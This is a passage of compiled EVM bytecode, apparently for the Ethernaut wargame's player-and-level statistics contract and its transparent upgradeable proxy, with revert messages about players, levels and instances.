8351d054bc0794e723a333ae0a74acd73825a9f31d89af0c6755160405160405180910390a450505b6001600160a01b038084165f908152600d6020908152604080832093881680845293825280832060038101805460018181018355918652848620429101819055600283015594845280547fffffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffff16600160a01b179055600a909152812090910180549161096983611d99565b909155505060048054905f61097d83611d99565b90915550506001600160a01b0383165f9081526008602052604081208054916109a583611d99565b91905055505050505050565b6001600160a01b0381165f908152600e6020526040812054829060ff16610a115760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b50506001600160a01b03165f9081526006602052604090205490565b6001600160a01b0381165f908152600f6020526040812054829060ff16610a8c5760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b50506001600160a01b03165f908152600a602052604090206001015490565b6001600160a01b0381165f908152600e6020526040812054829060ff16610b0b5760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b50506001600160a01b03165f9081526008602052604090205490565b6001600160a01b0381165f908152600e6020526040812054829060ff16610b875760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b50506001600160a01b03165f9081526009602052604090205490565b5f546201000090046001600160a01b03163314610c105760405162461bcd60e51b815260206004820152602560248201527f4f6e6c792045746865726e6175742063616e2063616c6c20746869732066756e60448201526431ba34b7b760d91b606482015260840161047f565b81610c32816001600160a01b03165f908152600f602052604090205460ff1690565b610c745760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b6001600160a01b0382165f908152600e602052604090205460ff16610d00576001805480820182557fb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf601805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0385169081179091555f908152600e60205260409020805460ff191690911790555b6001600160a01b038281165f908152600d60209081526040808320878516845290915290205416610d53576001600160a01b038083165f908152600b602090815260408083209387168352929052204290555b6040805160a0810182526001600160a01b0380871682525f60208084018290524284860152606084018290528683168252600d815284822092881682529190915291822060030154909160808301919003610dbb57604080515f815260208101909152610e2b565b6001600160a01b038085165f908152600d6020908152604080832093891683529281529082902060030180548351818402810184019094528084529091830182828015610e2557602002820191905f5260205f20905b815481526020019060010190808311610e11575b50505050505b90526001600160a01b038084165f908152600d60209081526040808320888516845282529182902084518154868401511515600160a01b027fffffffffffffffffffffff00000000000000000000000000000000000000000090911691909516179390931783559083015160018301556060830151600283015560808301518051610ebc9260038501920190611c33565b5050506001600160a01b0383165f908152600a60205260408120805491610ee283611d99565b909155505060038054905f610ef683611d99565b90915550506001600160a01b0382165f908152600760205260408120805491610f1e83611d99565b919050555050505050565b6001600160a01b0381165f908152600e6020526040812054829060ff16610f895760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b50506001600160a01b03165f9081526007602052604090205490565b6001600160a01b0382165f908152600e6020526040812054839060ff166110055760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b82611027816001600160a01b03165f908152600f602052604090205460ff1690565b6110695760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b6001600160a01b038086165f908152600c6020908152604080832093881683529290529081205490036110de5760405162461bcd60e51b815260206004820152601360248201527f4c6576656c206e6f7420636f6d706c6574656400000000000000000000000000604482015260640161047f565b6001600160a01b038086165f818152600b6020908152604080832094891680845294825280832054938352600c825280832094835293905291909120546105469190611db1565b6001600160a01b0381165f908152600f6020526040812054829060ff166111845760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b50506001600160a01b03165f908152600a602052604090205490565b600281815481106111af575f80fd5b5f918252602090912001546001600160a01b0316905081565b6001600160a01b0381165f908152600e6020526040812054829060ff166112285760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b600254611234846109b1565b61124690670de0b6b3a7640000611dca565b6112509190611de1565b9392505050565b5f54610100900460ff161580801561127557505f54600160ff909116105b8061128e5750303b15801561128e57505f5460ff166001145b6113005760405162461bcd60e51b815260206004820152602e60248201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160448201527f647920696e697469616c697a6564000000000000000000000000000000000000606482015260840161047f565b5f805460ff191660011790558015611321575f805461ff0019166101001790555b5f80547fffffffffffffffffffff0000000000000000000000000000000000000000ffff16620100006001600160a01b03851602179055801561139d575f805461ff0019169055604051600181527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b5050565b806113c3816001600160a01b03165f908152600f602052604090205460ff1690565b156114105760405162461bcd60e51b815260206004820152601460248201527f4c6576656c20616c726561647920657869737473000000000000000000000000604482015260640161047f565b5f546201000090046001600160a01b0316331461147d5760405162461bcd60e51b815260206004820152602560248201527f4f6e6c792045746865726e6175742063616e2063616c6c20746869732066756e60448201526431ba34b7b760d91b606482015260840161047f565b506001600160a01b03165f818152600f60205260408120805460ff191660019081179091556002805491820181559091527f405787fa12a823e0f2b7631cc41b3ba8828b3321ca811111fa75cd3aa3bb5ace01805473ffffffffffffffffffffffffffffffffffffffff19169091179055565b5f546201000090046001600160a01b0316331461155d5760405162461bcd60e51b815260206004820152602560248201527f4f6e6c792045746865726e6175742063616e2063616c6c20746869732066756e60448201526431ba34b7b760d91b606482015260840161047f565b8161157f816001600160a01b03165f908152600f602052604090205460ff1690565b6115c15760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b816115e3816001600160a01b03165f908152600e602052604090205460ff1690565b6116265760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b6001600160a01b038381165f908152600d602090815260408083208885168452909152902054166116a75760405162461bcd60e51b815260206004820152602560248201527f496e7374616e636520666f7220746865206c6576656c206973206e6f7420637260448201526419585d195960da1b606482015260840161047f565b6001600160a01b038381165f908152600d6020908152604080832088851684529091529020548116908616146117315760405162461bcd60e51b815260206004820152602960248201527f5375626d697474656420696e7374616e6365206973206e6f74207468652063726044820152686561746564206f6e6560b81b606482015260840161047f565b6001600160a01b038381165f908152600d6020908152604080832093881683529290522054600160a01b900460ff16156117ad5760405162461bcd60e51b815260206004820152601760248201527f4c6576656c20616c726561647920636f6d706c65746564000000000000000000604482015260640161047f565b6001600160a01b038084165f908152600d60209081526040808320938816808452938252808320600301805460018101825590845282842042910155928252600a905290812060020180549161180283611d99565b909155505060058054905f61181683611d99565b90915550506001600160a01b0383165f9081526009602052604081208054916109a583611d99565b6001600160a01b0383165f908152600e6020526040812054849060ff1661189e5760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b836118c0816001600160a01b03165f908152600f602052604090205460ff1690565b6119025760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b6001600160a01b038087165f908152600d60209081526040808320938916835292905220600301548411156119795760405162461bcd60e51b815260206004820152601060248201527f496e646578206f7574626f756e64656400000000000000000000000000000000604482015260640161047f565b6001600160a01b038087165f908152600d602090815260408083209389168352929052206003018054859081106119b2576119b2611e00565b905f5260205f200154925050509392505050565b6001600160a01b0381165f908152600f6020526040812054829060ff16611a255760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b50506001600160a01b03165f908152600a602052604090206002015490565b6001600160a01b0382165f908152600e6020526040812054839060ff16611aa45760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b82611ac6816001600160a01b03165f908152600f602052604090205460ff1690565b611b085760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b5050506001600160a01b039182165f908152600d60209081526040808320939094168252919091522054600160a01b900460ff1690565b600181815481106111af575f80fd5b6001600160a01b038084165f81815260106020908152604080832054600b835281842095881680855295835281842054948452600c83528184209584529490915281205490929183918291611ba291611db1565b6001600160a01b0388165f9081526010602052604081205491925003611be1576001600160a01b0387165f908152601060205260409020819055611c29565b8481611bee600183611db1565b611bf89086611dca565b611c029190611e14565b611c0c9190611de1565b6001600160a01b0388165f90815260106020526040902081905591505b5095945050505050565b828054828255905f5260205f20908101928215611c6c579160200282015b82811115611c6c578251825591602001919060010190611c51565b50611c78929150611c7c565b5090565b5b80821115611c78575f8155600101611c7d565b80356001600160a01b0381168114611ca6575f80fd5b919050565b5f8060408385031215611cbc575f80fd5b611cc583611c90565b9150611cd360208401611c90565b90509250929050565b5f805f60608486031215611cee575f80fd5b611cf784611c90565b9250611d0560208501611c90565b9150611d1360408501611c90565b90509250925092565b5f60208284031215611d2c575f80fd5b61125082611c90565b5f60208284031215611d45575f80fd5b5035919050565b5f805f60608486031215611d5e575f80fd5b611d6784611c90565b9250611d7560208501611c90565b9150604084013590509250925092565b634e487b7160e01b5f52601160045260245ffd5b5f60018201611daa57611daa611d85565b5060010190565b81810381811115611dc457611dc4611d85565b92915050565b8082028115828204841417611dc457611dc4611d85565b5f82611dfb57634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b80820180821115611dc457611dc4611d8556fea264697066735822122066af37f02a1e446ad91bfc4bf9b0dd5322bb220097108143b357e6128534eb5464736f6c63430008180033608060405234801562000010575f80fd5b5060405162000daa38038062000daa83398101604081905262000033916200042b565b6040516001600160a01b03821660248201528390839060440160408051601f198184030181529190526020810180516001600160e01b0390811663189acdbd60e31b17909152839082906200008f90839083905f90620000a916565b506200009d905082620000da565b505050505050620004e7565b620000b4836200014b565b5f82511180620000c15750805b15620000d557620000d383836200018c565b505b505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6200011b5f8051602062000d63833981519152546001600160a01b031690565b604080516001600160a01b03928316815291841660208301520160405180910390a16200014881620001bb565b50565b620001568162000258565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b905f90a250565b6060620001b4838360405180606001604052806027815260200162000d8360279139620002ef565b9392505050565b6001600160a01b038116620002265760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084015b60405180910390fd5b805f8051602062000d638339815191525b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b620002c75760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016200021d565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc62000237565b60606001600160a01b0384163b620003595760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016200021d565b5f80856001600160a01b03168560405162000375919062000496565b5f60405180830381855af49150503d805f8114620003af576040519150601f19603f3d011682016040523d82523d5f602084013e620003b4565b606091505b509092509050620003c7828286620003d1565b9695505050505050565b60608315620003e2575081620001b4565b825115620003f35782518084602001fd5b8160405162461bcd60e51b81526004016200021d9190620004b3565b80516001600160a01b038116811462000426575f80fd5b919050565b5f805f606084860312156200043e575f80fd5b62000449846200040f565b925062000459602085016200040f565b915062000469604085016200040f565b90509250925092565b5f5b838110156200048e57818101518382015260200162000474565b50505f910152565b5f8251620004a981846020870162000472565b9190910192915050565b602081525f8251806020840152620004d381604085016020870162000472565b601f01601f19169190910160400192915050565b61086e80620004f55f395ff3fe60806040526004361061005d575f3560e01c80635c60da1b116100425780635c60da1b146100a65780638f283970146100d6578063f851a440146100f55761006c565b80633659cfe6146100745780634f1ef286146100935761006c565b3661006c5761006a610109565b005b61006a610109565b34801561007f575f80fd5b5061006a61008e36600461070d565b610123565b61006a6100a1366004610726565b61015e565b3480156100b1575f80fd5b506100ba6101c4565b6040516001600160a01b03909116815260200160405180910390f35b3480156100e1575f80fd5b5061006a6100f036600461070d565b6101f4565b348015610100575f80fd5b506100ba610214565b610111610234565b61012161011c6102e4565b6102ed565b565b61012b61030b565b6001600160a01b03163303610156576101538160405180602001604052805f8152505f61033d565b50565b610153610109565b61016661030b565b6001600160a01b031633036101bc576101b78383838080601f0160208091040260200160405190810160405280939291908181526020018383808284375f920191909152506001925061033d915050565b505050565b6101b7610109565b5f6101cd61030b565b6001600160a01b031633036101e9576101e46102e4565b905090565b6101f1610109565b90565b6101fc61030b565b6001600160a01b031633036101565761015381610367565b5f61021d61030b565b6001600160a01b031633036101e9576101e461030b565b61023c61030b565b6001600160a01b031633036101215760405162461bcd60e51b815260206004820152604260248201527f5472616e73706172656e745570677261646561626c6550726f78793a2061646d60448201527f696e2063616e6e6f742066616c6c6261636b20746f2070726f7879207461726760648201527f6574000000000000000000000000000000000000000000000000000000000000608482015260a4015b60405180910390fd5b5f6101e46103bb565b365f80375f80365f845af43d5f803e808015610307573d5ff35b3d5ffd5b5f7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b546001600160a01b0316919050565b610346836103e2565b5f825111806103525750805b156101b7576103618383610421565b50505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f61039061030b565b604080516001600160a01b03928316815291841660208301520160405180910390a16101538161044d565b5f7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc61032e565b6103eb81610525565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b905f90a250565b60606104468383604051806060016040528060278152602001610812602791396105c9565b9392505050565b6001600160a01b0381166104c95760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084016102db565b807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b80547fffffffffffffffffffffffff0000000000000000000000000000000000000000166001600160a01b039290921691909117905550565b6001600160a01b0381163b6105a25760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201527f6f74206120636f6e74726163740000000000000000000000000000000000000060648201526084016102db565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6104ec565b60606001600160a01b0384163b6106485760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f60448201527f6e7472616374000000000000000000000000000000000000000000000000000060648201526084016102db565b5f80856001600160a01b03168560405161066291906107c4565b5f60405180830381855af49150503d805f811461069a576040519150601f19603f3d011682016040523d82523d5f602084013e61069f565b606091505b50915091506106af8282866106b9565b9695505050505050565b606083156106c8575081610446565b8251156106d85782518084602001fd5b8160405162461bcd60e51b81526004016102db91906107df565b80356001600160a01b0381168114610708575f80fd5b919050565b5f6020828403121561071d575f80fd5b610446826106f2565b5f805f60408486031215610738575f80fd5b610741846106f2565b9250602084013567ffffffffffffffff8082111561075d575f80fd5b818601915086601f830112610770575f80fd5b81358181111561077e575f80fd5b87602082850101111561078f575f80fd5b6020830194508093505050509250925092565b5f5b838110156107bc5781810151838201526020016107a4565b50505f910152565b5f82516107d58184602087016107a2565b9190910192915050565b602081525f82518060208401526107fd8160408501602087016107a2565b601f01601f1916919091016040019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a26469706673582212203e1cf275377e8bb61cf9b931569a705adcb93eec1d89a2b1d063e39d5340117464736f6c63430008180033b53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a26469706673582212201d315c64b8ac1de6618abeaffddac3e5a6b9ae46616f61e3dc9cd37633e6f15664736f6c63430008180033608060405234801561000f575f80fd5b50611e5d8061001d5f395ff3fe608060405234801561000f575f80fd5b50600436106101bb575f3560e01c80639cbf280d116100f3578063d0f191e011610093578063e2d8716f1161006e578063e2d8716f146103ca578063f3a39909146103dd578063f71d96cb14610408578063fb66d7ab1461041b575f80fd5b8063d0f191e014610391578063d844f6a4146103a4578063e041ae9b146103b7575f80fd5b8063ba5d8082116100ce578063ba5d80821461031d578063bc3086a214610358578063c4d66de81461036b578063cd819a6f1461037e575f80fd5b80639cbf280d146102c7578063a7e1acdf146102da578063b2596a671461030a575f80fd5b80637cbe8d041161015e5780637e4326d3116101395780637e4326d3146102865780638b146ad6146102995780638dc03535146102ac578063900f09ac146102bf575f80fd5b80637cbe8d041461026e5780637ceb9533146102765780637e0ca04f1461027e575f80fd5b80633aa46685116101995780633aa466851461020d5780633d9aeaef14610235578063763fdb45146102485780637a9b6dda1461025b575f80fd5b806322ae77ec146101bf5780632c038c32146101e557806336204198146101fa575b5f80fd5b6101d26101cd366004611cab565b610423565b6040519081526020015b60405180910390f35b6101f86101f3366004611cdc565b61054f565b005b6101d2610208366004611d1c565b6109b1565b6101d261021b366004611d1c565b6001600160a01b03165f9081526010602052604090205490565b6101d2610243366004611d1c565b610a2d565b6101d2610256366004611d1c565b610aab565b6101d2610269366004611d1c565b610b27565b6003546101d2565b6005546101d2565b6002546101d2565b6101f8610294366004611cdc565b610ba3565b6101d26102a7366004611d1c565b610f29565b6101d26102ba366004611cab565b610fa5565b6004546101d2565b6101d26102d5366004611d1c565b611125565b5f546102f2906201000090046001600160a01b031681565b6040516001600160a01b0390911681526020016101dc565b6102f2610318366004611d35565b6111a0565b61034861032b366004611d1c565b6001600160a01b03165f908152600e602052604090205460ff1690565b60405190151581526020016101dc565b6101d2610366366004611d1c565b6111c8565b6101f8610379366004611d1c565b611257565b6101f861038c366004611d1c565b6113a1565b6101f861039f366004611cdc565b6114f0565b6101d26103b2366004611d4c565b61183e565b6101d26103c5366004611d1c565b6119c6565b6103486103d8366004611cab565b611a44565b6103486103eb366004611d1c565b6001600160a01b03165f908152600f602052604090205460ff1690565b6102f2610416366004611d35565b611b3f565b6001546101d2565b6001600160a01b0381165f908152600e6020526040812054829060ff166104885760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b60448201526064015b60405180910390fd5b836104aa816001600160a01b03165f908152600f602052604090205460ff1690565b6104ec5760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b6001600160a01b038481165f908152600d6020908152604080832089851684529091529020541661051d575f610546565b6001600160a01b038085165f908152600d60209081526040808320938916835292905220600301545b95945050505050565b5f546201000090046001600160a01b031633146105bc5760405162461bcd60e51b815260206004820152602560248201527f4f6e6c792045746865726e6175742063616e2063616c6c20746869732066756e60448201526431ba34b7b760d91b606482015260840161047f565b816105de816001600160a01b03165f908152600f602052604090205460ff1690565b6106205760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b81610642816001600160a01b03165f908152600e602052604090205460ff1690565b6106855760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b6001600160a01b038381165f908152600d602090815260408083208885168452909152902054166107065760405162461bcd60e51b815260206004820152602560248201527f496e7374616e636520666f7220746865206c6576656c206973206e6f7420637260448201526419585d195960da1b606482015260840161047f565b6001600160a01b038381165f908152600d6020908152604080832088851684529091529020548116908616146107905760405162461bcd60e51b815260206004820152602960248201527f5375626d697474656420696e7374616e6365206973206e6f74207468652063726044820152686561746564206f6e6560b81b606482015260840161047f565b6001600160a01b038381165f908152600d6020908152604080832093881683529290522054600160a01b900460ff161561080c5760405162461bcd60e51b815260206004820152601760248201527f4c6576656c20616c726561647920636f6d706c65746564000000000000000000604482015260640161047f565b6001600160a01b038084165f908152600c6020908152604080832093881683529290529081205490036108df576001600160a01b0383165f90815260066020526040812080549161085c83611d99565b90915550506001600160a01b038084165f818152600c602090815260408083209489168352938152838220429055918152600690915290812054906108a2858784611b4e565b90508181866001600160a01b03167f18f89fb58208351d054bc0794e723a333ae0a74acd73825a9f31d89af0c6755160405160405180910390a450505b6001600160a01b038084165f908152600d6020908152604080832093881680845293825280832060038101805460018181018355918652848620429101819055600283015594845280547fffffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffff16600160a01b179055600a909152812090910180549161096983611d99565b909155505060048054905f61097d83611d99565b90915550506001600160a01b0383165f9081526008602052604081208054916109a583611d99565b91905055505050505050565b6001600160a01b0381165f908152600e6020526040812054829060ff16610a115760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b50506001600160a01b03165f9081526006602052604090205490565b6001600160a01b0381165f908152600f6020526040812054829060ff16610a8c5760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b50506001600160a01b03165f908152600a602052604090206001015490565b6001600160a01b0381165f908152600e6020526040812054829060ff16610b0b5760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b50506001600160a01b03165f9081526008602052604090205490565b6001600160a01b0381165f908152600e6020526040812054829060ff16610b875760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b50506001600160a01b03165f9081526009602052604090205490565b5f546201000090046001600160a01b03163314610c105760405162461bcd60e51b815260206004820152602560248201527f4f6e6c792045746865726e6175742063616e2063616c6c20746869732066756e60448201526431ba34b7b760d91b606482015260840161047f565b81610c32816001600160a01b03165f908152600f602052604090205460ff1690565b610c745760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b6001600160a01b0382165f908152600e602052604090205460ff16610d00576001805480820182557fb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf601805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0385169081179091555f908152600e60205260409020805460ff191690911790555b6001600160a01b038281165f908152600d60209081526040808320878516845290915290205416610d53576001600160a01b038083165f908152600b602090815260408083209387168352929052204290555b6040805160a0810182526001600160a01b0380871682525f60208084018290524284860152606084018290528683168252600d815284822092881682529190915291822060030154909160808301919003610dbb57604080515f815260208101909152610e2b565b6001600160a01b038085165f908152600d6020908152604080832093891683529281529082902060030180548351818402810184019094528084529091830182828015610e2557602002820191905f5260205f20905b815481526020019060010190808311610e11575b50505050505b90526001600160a01b038084165f908152600d60209081526040808320888516845282529182902084518154868401511515600160a01b027fffffffffffffffffffffff00000000000000000000000000000000000000000090911691909516179390931783559083015160018301556060830151600283015560808301518051610ebc9260038501920190611c33565b5050506001600160a01b0383165f908152600a60205260408120805491610ee283611d99565b909155505060038054905f610ef683611d99565b90915550506001600160a01b0382165f908152600760205260408120805491610f1e83611d99565b919050555050505050565b6001600160a01b0381165f908152600e6020526040812054829060ff16610f895760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b50506001600160a01b03165f9081526007602052604090205490565b6001600160a01b0382165f908152600e6020526040812054839060ff166110055760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b82611027816001600160a01b03165f908152600f602052604090205460ff1690565b6110695760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b6001600160a01b038086165f908152600c6020908152604080832093881683529290529081205490036110de5760405162461bcd60e51b815260206004820152601360248201527f4c6576656c206e6f7420636f6d706c6574656400000000000000000000000000604482015260640161047f565b6001600160a01b038086165f818152600b6020908152604080832094891680845294825280832054938352600c825280832094835293905291909120546105469190611db1565b6001600160a01b0381165f908152600f6020526040812054829060ff166111845760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b50506001600160a01b03165f908152600a602052604090205490565b600281815481106111af575f80fd5b5f918252602090912001546001600160a01b0316905081565b6001600160a01b0381165f908152600e6020526040812054829060ff166112285760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b600254611234846109b1565b61124690670de0b6b3a7640000611dca565b6112509190611de1565b9392505050565b5f54610100900460ff161580801561127557505f54600160ff909116105b8061128e5750303b15801561128e57505f5460ff166001145b6113005760405162461bcd60e51b815260206004820152602e60248201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160448201527f647920696e697469616c697a6564000000000000000000000000000000000000606482015260840161047f565b5f805460ff191660011790558015611321575f805461ff0019166101001790555b5f80547fffffffffffffffffffff0000000000000000000000000000000000000000ffff16620100006001600160a01b03851602179055801561139d575f805461ff0019169055604051600181527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b5050565b806113c3816001600160a01b03165f908152600f602052604090205460ff1690565b156114105760405162461bcd60e51b815260206004820152601460248201527f4c6576656c20616c726561647920657869737473000000000000000000000000604482015260640161047f565b5f546201000090046001600160a01b0316331461147d5760405162461bcd60e51b815260206004820152602560248201527f4f6e6c792045746865726e6175742063616e2063616c6c20746869732066756e60448201526431ba34b7b760d91b606482015260840161047f565b506001600160a01b03165f818152600f60205260408120805460ff191660019081179091556002805491820181559091527f405787fa12a823e0f2b7631cc41b3ba8828b3321ca811111fa75cd3aa3bb5ace01805473ffffffffffffffffffffffffffffffffffffffff19169091179055565b5f546201000090046001600160a01b0316331461155d5760405162461bcd60e51b815260206004820152602560248201527f4f6e6c792045746865726e6175742063616e2063616c6c20746869732066756e60448201526431ba34b7b760d91b606482015260840161047f565b8161157f816001600160a01b03165f908152600f602052604090205460ff1690565b6115c15760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b816115e3816001600160a01b03165f908152600e602052604090205460ff1690565b6116265760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b6001600160a01b038381165f908152600d602090815260408083208885168452909152902054166116a75760405162461bcd60e51b815260206004820152602560248201527f496e7374616e636520666f7220746865206c6576656c206973206e6f7420637260448201526419585d195960da1b606482015260840161047f565b6001600160a01b038381165f908152600d6020908152604080832088851684529091529020548116908616146117315760405162461bcd60e51b815260206004820152602960248201527f5375626d697474656420696e7374616e6365206973206e6f74207468652063726044820152686561746564206f6e6560b81b606482015260840161047f565b6001600160a01b038381165f908152600d6020908152604080832093881683529290522054600160a01b900460ff16156117ad5760405162461bcd60e51b815260206004820152601760248201527f4c6576656c20616c726561647920636f6d706c65746564000000000000000000604482015260640161047f565b6001600160a01b038084165f908152600d60209081526040808320938816808452938252808320600301805460018101825590845282842042910155928252600a905290812060020180549161180283611d99565b909155505060058054905f61181683611d99565b90915550506001600160a01b0383165f9081526009602052604081208054916109a583611d99565b6001600160a01b0383165f908152600e6020526040812054849060ff1661189e5760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b836118c0816001600160a01b03165f908152600f602052604090205460ff1690565b6119025760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b6001600160a01b038087165f908152600d60209081526040808320938916835292905220600301548411156119795760405162461bcd60e51b815260206004820152601060248201527f496e646578206f7574626f756e64656400000000000000000000000000000000604482015260640161047f565b6001600160a01b038087165f908152600d602090815260408083209389168352929052206003018054859081106119b2576119b2611e00565b905f5260205f200154925050509392505050565b6001600160a01b0381165f908152600f6020526040812054829060ff16611a255760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b50506001600160a01b03165f908152600a602052604090206002015490565b6001600160a01b0382165f908152600e6020526040812054839060ff16611aa45760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b82611ac6816001600160a01b03165f908152600f602052604090205460ff1690565b611b085760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b5050506001600160a01b039182165f908152600d60209081526040808320939094168252919091522054600160a01b900460ff1690565b600181815481106111af575f80fd5b6001600160a01b038084165f81815260106020908152604080832054600b835281842095881680855295835281842054948452600c83528184209584529490915281205490929183918291611ba291611db1565b6001600160a01b0388165f9081526010602052604081205491925003611be1576001600160a01b0387165f908152601060205260409020819055611c29565b8481611bee600183611db1565b611bf89086611dca565b611c029190611e14565b611c0c9190611de1565b6001600160a01b0388165f90815260106020526040902081905591505b5095945050505050565b828054828255905f5260205f20908101928215611c6c579160200282015b82811115611c6c578251825591602001919060010190611c51565b50611c78929150611c7c565b5090565b5b80821115611c78575f8155600101611c7d565b80356001600160a01b0381168114611ca6575f80fd5b919050565b5f8060408385031215611cbc575f80fd5b611cc583611c90565b9150611cd360208401611c90565b90509250929050565b5f805f60608486031215611cee575f80fd5b611cf784611c90565b9250611d0560208501611c90565b9150611d1360408501611c90565b90509250925092565b5f60208284031215611d2c575f80fd5b61125082611c90565b5f60208284031215611d45575f80fd5b5035919050565b5f805f60608486031215611d5e575f80fd5b611d6784611c90565b9250611d